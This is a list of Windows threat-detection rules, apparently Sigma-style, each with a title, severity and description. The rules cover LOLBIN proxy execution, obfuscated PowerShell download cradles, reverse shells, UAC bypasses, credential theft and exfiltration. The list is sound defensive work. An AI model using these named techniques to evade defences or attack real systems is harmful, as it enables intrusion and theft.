MpiExec Lolbin	high	Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary
Execute MSDT Via Answer File	high	Detects execution of "msdt.exe" using an answer file which is simulating the legitimate way of calling msdt via "pcwrun.exe" (For example from the compatibility tab)
Use of OpenConsole	medium	Detects usage of OpenConsole binary as a LOLBIN to launch other binaries to bypass application Whitelisting
Use of Pcalua For Execution	medium	Detects execition of commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This can be used as a LOLBIN in order to bypass application whitelisting.
Indirect Command Execution By Program Compatibility Wizard	low	Detect indirect command execution via Program Compatibility Assistant pcwrun.exe
Execute Pcwrun.EXE To Leverage Follina	high	Detects indirect command execution via Program Compatibility Assistant "pcwrun.exe" leveraging the follina (CVE-2022-30190) vulnerability
Execute Code with Pester.bat as Parent	medium	Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)
Execute Code with Pester.bat	medium	Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)
Suspicious Runscripthelper.exe	medium	Detects execution of powershell scripts via Runscripthelper.exe
Use of Scriptrunner.exe	medium	The "ScriptRunner.exe" binary can be abused to proxy execution through it and bypass possible whitelisting
Using SettingSyncHost.exe as LOLBin	high	Detects using SettingSyncHost.exe to run hijacked binary
Use Of The SFTP.EXE Binary As A LOLBIN	medium	Detects the usage of the "sftp.exe" binary as a LOLBIN by abusing the "-D" flag
MMC20 Lateral Movement	high	Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of "-Embedding" as a child of svchost.exe
Arbitrary File Download Via MSEDGE_PROXY.EXE	medium	Detects usage of "msedge_proxy.exe" to download arbitrary files
Remotely Hosted HTA File Executed Via Mshta.EXE	high	Detects execution of the "mshta" utility with an argument containing the "http" keyword, which could indicate that an attacker is executing a remotely hosted malicious hta file
Wscript Shell Run In CommandLine	medium	Detects the presence of the keywords "Wscript", "Shell" and "Run" in the command, which could indicate a suspicious activity
MSHTA Suspicious Execution 01	high	Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism
Suspicious Mshta.EXE Execution Patterns	high	Detects suspicious mshta process execution patterns
Arbitrary File Download Via MSOHTMED.EXE	medium	Detects usage of "MSOHTMED" to download arbitrary files
Arbitrary File Download Via MSPUB.EXE	medium	Detects usage of "MSPUB" (Microsoft Publisher) to download arbitrary files
Detection of PowerShell Execution via Sqlps.exe	medium	This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.
SQL Client Tools PowerShell Session Detection	medium	This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.
Start Windows Service Via Net.EXE	low	Detects the usage of the "net.exe" command to start a service using the "start" flag
Outlook EnableUnsafeClientMailRules Setting Enabled	high	Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros
Suspicious Outlook Child Process	high	Detects a suspicious process spawning from an Outlook process.
Suspicious Remote Child Process From Outlook	high	Detects a suspicious child process spawning from Outlook where the image is located in a remote location (SMB/WebDav shares).
Suspicious Binary In User Directory Spawned From Office Application	high	Detects an executable in the users directory started from one of the Microsoft Office suite applications (Word, Excel, PowerPoint, Publisher, Visio)
Suspicious Microsoft Office Child Process	high	Detects a suspicious process spawning from one of the Microsoft Office suite products (Word, Excel, PowerPoint, Publisher, Visio, etc.)
PDQ Deploy Remote Adminstartion Tool Execution	medium	Detect use of PDQ Deploy remote admin tool
Potentially Suspicious Execution Of PDQDeployRunner	medium	Detects suspicious execution of "PDQDeployRunner" which is part of the PDQDeploy service stack that is responsible for executing commands and packages on a remote machines
Perl Inline Command Execution	medium	Detects execution of perl using the "-e"/"-E" flags. This is could be used as a way to launch a reverse shell or execute live perl code.
Php Inline Command Execution	medium	Detects execution of php using the "-r" flag. This is could be used as a way to launch a reverse shell or execute live php code.
AADInternals PowerShell Cmdlets Execution - ProccessCreation	high	Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.
Add Windows Capability Via PowerShell Cmdlet	medium	Detects usage of the "Add-WindowsCapability" cmdlet to add Windows capabilities. Notable capabilities could be "OpenSSH" and others.
Suspicious Encoded PowerShell Command Line	high	Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)
Suspicious PowerShell Encoded Command Patterns	high	Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains
PowerShell Base64 Encoded FromBase64String Cmdlet	high	Detects usage of a base64 encoded "FromBase64String" cmdlet in a process command line
Malicious Base64 Encoded PowerShell Keywords in Command Lines	high	Detects base64 encoded strings used in hidden malicious PowerShell command lines
PowerShell Base64 Encoded IEX Cmdlet	high	Detects usage of a base64 encoded "IEX" cmdlet in a process command line
PowerShell Base64 Encoded Invoke Keyword	high	Detects UTF-8 and UTF-16 Base64 encoded powershell 'Invoke-' calls
PowerShell Base64 Encoded Reflective Assembly Load	high	Detects base64 encoded .NET reflective loading of Assembly
Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call	high	Detects suspicious base64 encoded and obfuscated "LOAD" keyword used in .NET "reflection.assembly"
PowerShell Base64 Encoded WMI Classes	high	Detects calls to base64 encoded WMI class such as "Win32_ShadowCopy", "Win32_ScheduledJob", etc.
Potential PowerShell Obfuscation Via Reversed Commands	high	Detects the presence of reversed PowerShell commands in the CommandLine. This is often used as a method of obfuscation by attackers
ConvertTo-SecureString Cmdlet Usage Via CommandLine	medium	Detects usage of the "ConvertTo-SecureString" cmdlet via the commandline. Which is fairly uncommon and could indicate potential suspicious activity
Potential PowerShell Command Line Obfuscation	high	Detects the PowerShell command lines with special characters
PowerShell Execution With Potential Decryption Capabilities	high	Detects PowerShell commands that decrypt an ".LNK" "file to drop the next stage of the malware.
Potential PowerShell Downgrade Attack	medium	Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0
PowerShell Web Download	medium	Detects suspicious ways to download files or content using PowerShell
Obfuscated PowerShell OneLiner Execution	high	Detects the execution of a specific OneLiner to download and execute powershell modules in memory.
Potential DLL File Download Via PowerShell Invoke-WebRequest	medium	Detects potential DLL files being downloaded using the PowerShell Invoke-WebRequest cmdlet
PowerShell Download and Execution Cradles	high	Detects PowerShell download and execution cradles.
PowerShell Download Pattern	medium	Detects a Powershell process that contains download commands in its command line string
Potentially Suspicious File Download From File Sharing Domain Via PowerShell.EXE	high	Detects potentially suspicious file downloads from file sharing domains using PowerShell.exe
DSInternals Suspicious PowerShell Cmdlets	high	Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files. The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.
Suspicious Execution of Powershell with Base64	medium	Commandline to launch powershell with a base64 payload
Potential Encoded PowerShell Patterns In CommandLine	low	Detects specific combinations of encoding methods in PowerShell via the commandline
Powershell Inline Execution From A File	medium	Detects inline execution of PowerShell code from a file
Certificate Exported Via PowerShell	medium	Detects calls to cmdlets that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.
Suspicious PowerShell IEX Execution Patterns	high	Detects suspicious ways to run Invoke-Execution using IEX alias
Import PowerShell Modules From Suspicious Directories - ProcCreation	medium	Detects powershell scripts that import modules from suspicious directories
Malicious PowerShell Commandlets - ProcessCreation	high	Detects Commandlet names from well-known PowerShell exploitation frameworks
Non Interactive PowerShell Process Spawned	low	Detects non-interactive PowerShell activity by looking at the "powershell" process with a non-user GUI process such as "explorer.exe" as a parent.
Potential PowerShell Obfuscation Via WCHAR	high	Detects suspicious encoded character syntax often used for defense evasion
Execution of Powershell Script in Public Folder	high	This rule detects execution of PowerShell scripts located in the "C:\Users\Public" folder
Potential Powershell ReverseShell Connection	high	Detects usage of the "TcpClient" class. Which can be abused to establish remote connections and reverse-shells. As seen used by the Nishang "Invoke-PowerShellTcpOneLine" reverse shell and other.
Run PowerShell Script from Redirected Input Stream	high	Detects PowerShell script execution via input stream redirect
Suspicious PowerShell Invocation From Script Engines	medium	Detects suspicious powershell invocations from interpreters or unusual programs
Change PowerShell Policies to an Insecure Level	medium	Detects changing the PowerShell script execution policy to a potentially insecure level using the "-ExecutionPolicy" flag.
Service StartupType Change Via PowerShell Set-Service	medium	Detects the use of the PowerShell "Set-Service" cmdlet to change the startup type of a service to "disabled" or "manual"
Exchange PowerShell Snap-Ins Usage	high	Detects adding and using Exchange PowerShell snap-ins to export mailbox data. As seen used by HAFNIUM and APT27
Suspicious PowerShell Download and Execute Pattern	high	Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive)
Suspicious PowerShell Parameter Substring	high	Detects suspicious PowerShell invocation with a parameter substring
Suspicious PowerShell Parent Process	high	Detects a suspicious or uncommon parent processes of PowerShell
PowerShell Script Run in AppData	medium	Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder
PowerShell DownloadFile	high	Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line
Net WebClient Casing Anomalies	high	Detects PowerShell command line contents that include a suspicious abnormal casing in the Net.Webclient (e.g. nEt.WEbCliEnT) string as used in obfuscation techniques
Suspicious XOR Encoded PowerShell Command	medium	Detects presence of a potentially xor encoded powershell command
Arbitrary File Download Via PresentationHost.EXE	medium	Detects usage of "PresentationHost" which is a utility that runs ".xbap" (Browser Applications) files to download arbitrary files
XBAP Execution From Uncommon Locations Via PresentationHost.EXE	medium	Detects the execution of ".xbap" (Browser Applications) files via PresentationHost.EXE from an uncommon location. These files can be abused to run malicious ".xbap" files any bypass AWL
Visual Studio NodejsTools PressAnyKey Arbitrary Binary Execution	medium	Detects child processes of Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary
PUA - AdvancedRun Execution	medium	Detects the execution of AdvancedRun utility
PUA - CsExec Execution	high	Detects the use of the lesser known remote execution tool named CsExec a PsExec alternative
PUA - NirCmd Execution	medium	Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity
PUA - NirCmd Execution As LOCAL SYSTEM	high	Detects the use of NirCmd tool for command execution as SYSTEM user
PUA - NSudo Execution	high	Detects the use of NSudo tool for command execution
PUA - Radmin Viewer Utility Execution	medium	Detects the execution of Radmin which can be abused by an adversary to remotely control Windows machines
PUA - RunXCmd Execution	high	Detects the use of the RunXCmd tool to execute commands with System or TrustedInstaller accounts
PUA - Wsudo Suspicious Execution	high	Detects usage of wsudo (Windows Sudo Utility). Which is a tool that let the user execute programs with different permissions (System, Trusted Installer, Administrator...etc)
Python Inline Command Execution	medium	Detects execution of python using the "-c" flag. This is could be used as a way to launch a reverse shell or execute live python code.
Python Spawning Pretty TTY on Windows	high	Detects python spawning a pretty tty
Query Usage To Exfil Data	medium	Detects usage of "query.exe" a system binary to exfil information such as "sessions" and "processes" for later use
Suspicious Greedy Compression Using Rar.EXE	high	Detects RAR usage that creates an archive from a suspicious folder, either a system folder or one of the folders often used by attackers for staging purposes
Suspicious RASdial Activity	medium	Detects suspicious process related to rasdial.exe
IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols Via CLI	high	Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the "HTTP" and "HTTPS" protocols to point to the "My Computer" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.
Regsvr32 DLL Execution With Uncommon Extension	medium	Detects a "regsvr32" execution where the DLL doesn't contain a common file extension.
Remote Access Tool - AnyDesk Execution With Known Revoked Signing Certificate	medium	Detects the execution of an AnyDesk binary with a version prior to 8.0.8. Prior to version 8.0.8, the Anydesk application used a signing certificate that got compromised by threat actors. Use this rule to detect instances of older versions of Anydesk using the compromised certificate This is recommended in order to avoid attackers leveraging the certificate and signing their binaries to bypass detections.
Remote Access Tool - ScreenConnect Remote Command Execution	low	Detects the execution of a system command via the ScreenConnect RMM service.
Renamed CURL.EXE Execution	medium	Detects the execution of a renamed "CURL.exe" binary based on the PE metadata fields
Renamed FTP.EXE Execution	medium	Detects the execution of a renamed "ftp.exe" binary based on the PE metadata fields
Renamed Jusched.EXE Execution	high	Detects the execution of a renamed "jusched.exe" as seen used by the cobalt group
Renamed NirCmd.EXE Execution	high	Detects the execution of a renamed "NirCmd.exe" binary based on the PE metadata fields.
Renamed PingCastle Binary Execution	high	Detects the execution of a renamed "PingCastle" binary based on the PE metadata fields.
Visual Studio NodejsTools PressAnyKey Renamed Execution	medium	Detects renamed execution of "Microsoft.NodejsTools.PressAnyKey.exe", which can be abused as a LOLBIN to execute arbitrary binaries
Potential Renamed Rundll32 Execution	high	Detects when 'DllRegisterServer' is called in the commandline and the image is not rundll32. This could mean that the 'rundll32' utility has been renamed in order to avoid detection
Renamed PsExec Service Execution	high	Detects suspicious launch of a renamed version of the PSEXESVC service with, which is not often used by legitimate administrators
Ruby Inline Command Execution	medium	Detects execution of ruby using the "-e" flag. This is could be used as a way to launch a reverse shell or execute live ruby code.
Mshtml.DLL RunHTMLApplication Suspicious Usage	high	Detects execution of commands that leverage the "mshtml.dll" RunHTMLApplication export to run arbitrary code via different protocol handlers (vbscript, javascript, file, http...)
Shell32 DLL Execution in Suspicious Directory	high	Detects shell32.dll executing a DLL in a suspicious directory
Potential ShellDispatch.DLL Functionality Abuse	medium	Detects potential "ShellDispatch.dll" functionality abuse to execute arbitrary binaries via "ShellExecute"
Potentially Suspicious Rundll32.EXE Execution of UDL File	medium	Detects the execution of rundll32.exe with the oledb32.dll library to open a UDL file. Threat actors can abuse this technique as a phishing vector to capture authentication credentials or other sensitive data.
Rundll32 UNC Path Execution	high	Detects rundll32 execution where the DLL is located on a remote location (share)
Suspicious Modification Of Scheduled Tasks	high	Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location Attackers can create a simple looking task in order to avoid detection on creation as it's often the most focused on Instead they modify the task after creation to include their malicious payload
Rundll32 Execution Without Parameters	high	Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module
Suspicious Schtasks Execution AppData Folder	high	Detects the creation of a schtask that executes a file from C:\Users\\AppData\Local
Scheduled Task Creation Via Schtasks.EXE	low	Detects the creation of scheduled tasks by user accounts via the "schtasks" utility.
Suspicious Scheduled Task Creation Involving Temp Folder	high	Detects the creation of scheduled tasks that involves a temporary folder and runs only once
Schedule Task Creation From Env Variable Or Potentially Suspicious Path Via Schtasks.EXE	medium	Detects Schtask creations that point to a suspicious folder or an environment variable often used by malware
Schtasks From Suspicious Folders	high	Detects scheduled task creations that have suspicious action command and folder combinations
Suspicious Scheduled Task Name As GUID	medium	Detects creation of a scheduled task with a GUID like name
Uncommon One Time Only Scheduled Task At 00:00	high	Detects scheduled task creation events that include suspicious actions, and is run once at 00:00
Potential Persistence Via Powershell Search Order Hijacking - Task	high	Detects suspicious powershell execution via a schedule task where the command ends with an suspicious flags to hide the powershell instance instead of executeing scripts or commands. This could be a sign of persistence via PowerShell "Get-Variable" technique as seen being used in Colibri Loader
Scheduled Task Executing Payload from Registry	medium	Detects the creation of a schtasks that potentially executes a payload stored in the Windows Registry using PowerShell.
Scheduled Task Executing Encoded Payload from Registry	high	Detects the creation of a schtask that potentially executes a base64 encoded payload stored in the Windows Registry using PowerShell.
Suspicious Schtasks Schedule Types	high	Detects scheduled task creations or modification on a suspicious schedule type
Suspicious Schtasks Schedule Type With High Privileges	medium	Detects scheduled task creations or modification to be run with high privileges on a suspicious schedule type
Suspicious Command Patterns In Scheduled Task Creation	high	Detects scheduled task creation using "schtasks" that contain potentially suspicious or uncommon commands
Schtasks Creation Or Modification With SYSTEM Privileges	high	Detects the creation or update of a scheduled task to run with "NT AUTHORITY\SYSTEM" privileges
Script Event Consumer Spawning Process	high	Detects a suspicious child process of Script Event Consumer (scrcons.exe).
Service StartupType Change Via Sc.EXE	medium	Detect the use of "sc.exe" to change the startup type of a service to "disabled" or "demand"
Uncommon Child Processes Of SndVol.exe	medium	Detects potentially uncommon child processes of SndVol.exe (the Windows volume mixer)
Suspicious Spool Service Child Process	high	Detects suspicious print spool service (spoolsv.exe) child processes.
Arbitrary File Download Via Squirrel.EXE	medium	Detects the usage of the "Squirrel.exe" to download arbitrary files. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)
Process Proxy Execution Via Squirrel.EXE	medium	Detects the usage of the "Squirrel.exe" binary to execute arbitrary processes. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)
Arbitrary Shell Command Execution Via Settingcontent-Ms	medium	The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create "shortcuts" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.
Potential Suspicious Browser Launch From Document Reader Process	medium	Detects when a browser process or browser tab is launched from an application that handles document files such as Adobe, Microsoft Office, etc. And connects to a web application over http(s), this could indicate a possible phishing attempt.
Potential Data Exfiltration Activity Via CommandLine Tools	high	Detects the use of various CLI utilities exfiltrating data via web requests
Suspicious Electron Application Child Processes	medium	Detects suspicious child processes of electron apps (teams, discord, slack, etc.). This could be a potential sign of ".asar" file tampering (See reference section for more information) or binary execution proxy through specific CLI arguments (see related rule)
Potentially Suspicious Electron Application CommandLine	medium	Detects potentially suspicious CommandLine of electron apps (teams, discord, slack, etc.). This could be a sign of abuse to proxy execution through a signed binary.
Elevated System Shell Spawned From Uncommon Parent Location	medium	Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges from a uncommon parent location.
Hidden Powershell in Link File Pattern	medium	Detects events that appear when a user click on a link file with a powershell command in it
Potentially Suspicious Execution From Parent Process In Public Folder	high	Detects a potentially suspicious execution of a parent process located in the "\Users\Public" folder executing a child process containing references to shell or scripting binaries and commandlines.
Suspicious File Characteristics Due to Missing Fields	medium	Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe
Suspicious Reconnaissance Activity Via GatherNetworkInfo.VBS	high	Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine
Base64 MZ Header In CommandLine	high	Detects encoded base64 MZ header in the commandline
Potential WinAPI Calls Via CommandLine	high	Detects the use of WinAPI Functions via the commandline. As seen used by threat actors via the tool winapiexec
Potential File Download Via MS-AppInstaller Protocol Handler	medium	Detects usage of the "ms-appinstaller" protocol handler via command line to potentially download arbitrary files via AppInstaller.EXE The downloaded files are temporarly stored in ":\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache\"
Suspicious Scan Loop Network	medium	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system
Suspicious Program Names	high	Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools
Script Interpreter Execution From Suspicious Folder	high	Detects a suspicious script execution in temporary folders or folders accessible by environment variables
Suspicious Script Execution From Temp Folder	high	Detects a suspicious script executions from temporary folder
Windows Shell/Scripting Processes Spawning Suspicious Programs	high	Detects suspicious child processes of a Windows shell and scripting processes such as wscript, rundll32, powershell, mshta...etc.
Tasks Folder Evasion	high	The Tasks folder in system32 and syswow64 are globally writable paths. Adversaries can take advantage of this and load or influence any script hosts or ANY .NET Application in Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr
Weak or Abused Passwords In CLI	medium	Detects weak passwords or often abused passwords (seen used by threat actors) via the CLI. An example would be a threat actor creating a new user via the net command and providing the password inline
Usage Of Web Request Commands And Cmdlets	medium	Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via CommandLine
Psexec Execution	medium	Detects user accept agreement execution in psexec commandline
PsExec Service Child Process Execution as LOCAL SYSTEM	high	Detects suspicious launch of the PSEXESVC service on this system and a sub process run as LOCAL_SYSTEM (-s), which means that someone remotely started a command on this system running it with highest privileges and not only the privileges of the login user account (e.g. the administrator account)
PsExec Service Execution	medium	Detects launch of the PSEXESVC service, which means that this system was the target of a psexec remote execution
Potential Binary Impersonating Sysinternals Tools	medium	Detects binaries that use the same name as legitimate sysinternals tools to evade detection
Sysprep on AppData Folder	medium	Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec)
New Virtual Smart Card Created Via TpmVscMgr.EXE	medium	Detects execution of "Tpmvscmgr.exe" to create a new virtual smart card.
CMSTP UAC Bypass via COM Object Access	high	Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65)
Potential RDP Session Hijacking Activity	medium	Detects potential RDP Session Hijacking activity on Windows systems
UAC Bypass Using IDiagnostic Profile	high	Detects the "IDiagnosticProfileUAC" UAC bypass technique
Potential Persistence Via VMwareToolBoxCmd.EXE VM State Change Script	medium	Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a specific script to run for a specific VM state
Suspicious Persistence Via VMwareToolBoxCmd.EXE VM State Change Script	high	Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a specific script that's located in a potentially suspicious location to run for a specific VM state
VMToolsd Suspicious Child Process	high	Detects suspicious child process creations of VMware Tools process which may indicate persistence setup
Potentially Suspicious Child Process Of VsCode	medium	Detects uncommon or suspicious child processes spawning from a VsCode "code.exe" process. This could indicate an attempt of persistence via VsCode tasks or terminal profiles.
Wab Execution From Non Default Location	high	Detects execution of wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) from non default locations as seen with bumblebee activity
Wab/Wabmig Unusual Parent Or Child Processes	high	Detects unusual parent or children of the wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity
Potentially Suspicious WebDAV LNK Execution	medium	Detects possible execution via LNK file accessed on a WebDAV server.
Potential ReflectDebugger Content Execution Via WerFault.EXE	medium	Detects execution of "WerFault.exe" with the "-pr" commandline flag that is used to run files stored in the ReflectDebugger key which could be used to store the path to the malware in order to masquerade the execution flow
Suspicious Execution Location Of Wermgr.EXE	high	Detects suspicious Windows Error Reporting manager (wermgr.exe) execution location.
Suspicious File Download From IP Via Wget.EXE	high	Detects potentially suspicious file downloads directly from IP addresses using Wget.exe
Suspicious File Download From File Sharing Domain Via Wget.EXE	high	Detects potentially suspicious file downloads from file sharing domains using wget.exe
Suspicious File Download From IP Via Wget.EXE - Paths	high	Detects potentially suspicious file downloads directly from IP addresses and stored in suspicious locations using Wget.exe
Suspicious WindowsTerminal Child Processes	medium	Detects suspicious children spawned via the Windows Terminal application which could be a sign of persistence via WindowsTerminal (see references section)
Add New Download Source To Winget	medium	Detects usage of winget to add new additional download sources
Add Insecure Download Source To Winget	high	Detects usage of winget to add a new insecure (http) download source. Winget will not allow the addition of insecure sources, hence this could indicate potential suspicious activity (or typos)
Add Potential Suspicious New Download Source To Winget	medium	Detects usage of winget to add new potentially suspicious download sources
Install New Package Via Winget Local Manifest	medium	Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe, msi or msix files later.
Potentially Suspicious Child Process Of WinRAR.EXE	medium	Detects potentially suspicious child processes of WinRAR.exe.
Remote PowerShell Session Host Process (WinRM)	medium	Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session).
New Process Created Via Wmic.EXE	medium	Detects new process creation using WMIC via the "process call create" flag
Computer System Reconnaissance Via Wmic.EXE	medium	Detects execution of wmic utility with the "computersystem" flag in order to obtain information about the machine such as the domain, username, model, etc.
Hardware Model Reconnaissance Via Wmic.EXE	medium	Detects the execution of WMIC with the "csproduct" which is used to obtain information such as hardware models and vendor information
Windows Hotfix Updates Reconnaissance Via Wmic.EXE	medium	Detects the execution of wmic with the "qfe" flag in order to obtain information about installed hotfix updates on the system. This is often used by pentester and attacker enumeration scripts
Process Reconnaissance Via Wmic.EXE	medium	Detects the execution of "wmic" with the "process" flag, which adversary might use to list processes running on the compromised host or list installed software hotfixes and patches.
Potential Product Reconnaissance Via Wmic.EXE	medium	Detects the execution of WMIC in order to get a list of firewall and antivirus products
Potential Product Class Reconnaissance Via Wmic.EXE	medium	Detects the execution of WMIC in order to get a list of firewall and antivirus products
Service Reconnaissance Via Wmic.EXE	medium	An adversary might use WMI to check if a certain remote service is running on a remote device. When the test completes, a service information will be displayed on the screen if it exists. A common feedback message is that "No instance(s) Available" if the service queried is not running. A common error message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the provided remote host is unreachable
Potential Unquoted Service Path Reconnaissance Via Wmic.EXE	medium	Detects known WMI recon method to look for unquoted service paths using wmic. Often used by pentester and attacker enumeration scripts
System Disk And Volume Reconnaissance Via Wmic.EXE	medium	An adversary might use WMI to discover information about the system, such as the volume name, size, free space, and other disk information. This can be done using the `wmic` command-line utility and has been observed being used by threat actors such as Volt Typhoon.
WMIC Remote Command Execution	medium	Detects the execution of WMIC to query information on a remote system
Service Started/Stopped Via Wmic.EXE	medium	Detects usage of wmic to start or stop a service
Potential SquiblyTwo Technique Execution	medium	Detects potential SquiblyTwo attack technique with possible renamed WMIC via Imphash and OriginalFileName fields
Suspicious WMIC Execution Via Office Process	high	Office application called wmic to proxye execution through a LOLBIN process. This is often used to break suspicious parent-child chain (Office app spawns LOLBin).
Suspicious Process Created Via Wmic.EXE	high	Detects WMIC executing "process call create" with suspicious calls to processes such as "rundll32", "regsrv32", etc.
Application Terminated Via Wmic.EXE	medium	Detects calls to the "terminate" function via wmic in order to kill an application
Application Removed Via Wmic.EXE	medium	Detects the removal or uninstallation of an application via "Wmic.EXE".
WmiPrvSE Spawned A Process	medium	Detects WmiPrvSE spawning a process
Potential WMI Lateral Movement WmiPrvSE Spawned PowerShell	medium	Detects Powershell as a child of the WmiPrvSE process. Which could be a sign of lateral movement via WMI.
Suspicious WmiPrvSE Child Process	high	Detects suspicious and uncommon child processes of WmiPrvSE
Potential Dropper Script Execution Via WScript/CScript	medium	Detects wscript/cscript executions of scripts located in user directories
Cscript/Wscript Potentially Suspicious Child Process	medium	Detects potentially suspicious child processes of Wscript/Cscript. These include processes such as rundll32 with uncommon exports or PowerShell spawning rundll32 or regsvr32. Malware such as Pikabot and Qakbot were seen using similar techniques as well as many others.
Cscript/Wscript Uncommon Script Extension Execution	high	Detects Wscript/Cscript executing a file with an uncommon (i.e. non-script) extension
WSL Child Process Anomaly	medium	Detects uncommon or suspicious child processes spawning from a WSL process. This could indicate an attempt to evade parent/child relationship detections or persistence attempts via cron using WSL
Windows Binary Executed From WSL	medium	Detects the execution of Windows binaries from within a WSL instance. This could be used to masquerade parent-child relationships
Proxy Execution Via Wuauclt.EXE	high	Detects the use of the Windows Update Client binary (wuauclt.exe) for proxy execution.
Cab File Extraction Via Wusa.EXE From Potentially Suspicious Paths	high	Detects the execution of the "wusa.exe" (Windows Update Standalone Installer) utility to extract ".cab" files using the "/extract" argument from potentially suspicious paths.
Wusa.EXE Executed By Parent Process Located In Suspicious Location	high	Detects execution of the "wusa.exe" (Windows Update Standalone Installer) utility by a parent process that is located in a suspicious location. Attackers could instantiate an instance of "wusa.exe" in order to bypass User Account Control (UAC). They can duplicate the access token from "wusa.exe" to gain elevated privileges.
CMSTP Execution Registry Event	high	Detects various indicators of Microsoft Connection Manager Profile Installer execution
Registry Entries For Azorult Malware	critical	Detects the presence of a registry key created during Azorult execution
PrinterNightmare Mimikatz Driver Name	critical	Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527
DLL Load via LSASS	high	Detects a method to load DLL via LSASS process using an undocumented Registry key
Potential CobaltStrike Service Installations - Registry	high	Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement.
Blue Mockingbird - Registry	high	Attempts to detect system changes made by Blue Mockingbird
New Application in AppCompat	informational	A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint.
Enable Microsoft Dynamic Data Exchange	medium	Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.
PowerShell Script Execution Policy Enabled	low	Detects the enabling of the PowerShell script execution policy. Once enabled, this policy allows scripts to be executed.
PowerShell as a Service in Registry	high	Detects that a powershell code is written to the registry as a service.
Potentially Suspicious Command Executed Via Run Dialog Box - Registry	high	Detects execution of commands via the run dialog box on Windows by checking values of the "RunMRU" registry key. This technique was seen being abused by threat actors to deceive users into pasting and executing malicious commands, often disguised as CAPTCHA verification steps.
Suspicious Scripting in a WMI Consumer	high	Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers
Suspicious Encoded Scripts in a WMI Consumer	high	Detects suspicious encoded payloads in WMI Event Consumers
ZxShell Malware	critical	Detects a ZxShell start by the called and well-known function name
Turla Group Lateral Movement	critical	Detects automated lateral movement by Turla group
Turla Group Commands May 2020	critical	Detects commands used by Turla group as reported by ESET in May 2020
Exploit for CVE-2017-0261	medium	Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262
Droppers Exploiting CVE-2017-11882	critical	Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe
Exploit for CVE-2017-8759	critical	Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759
Adwind RAT / JRAT	high	Detects javaw.exe in AppData folder as used by Adwind / JRAT
Fireball Archer Install	high	Detects Archer malware invocation via rundll32
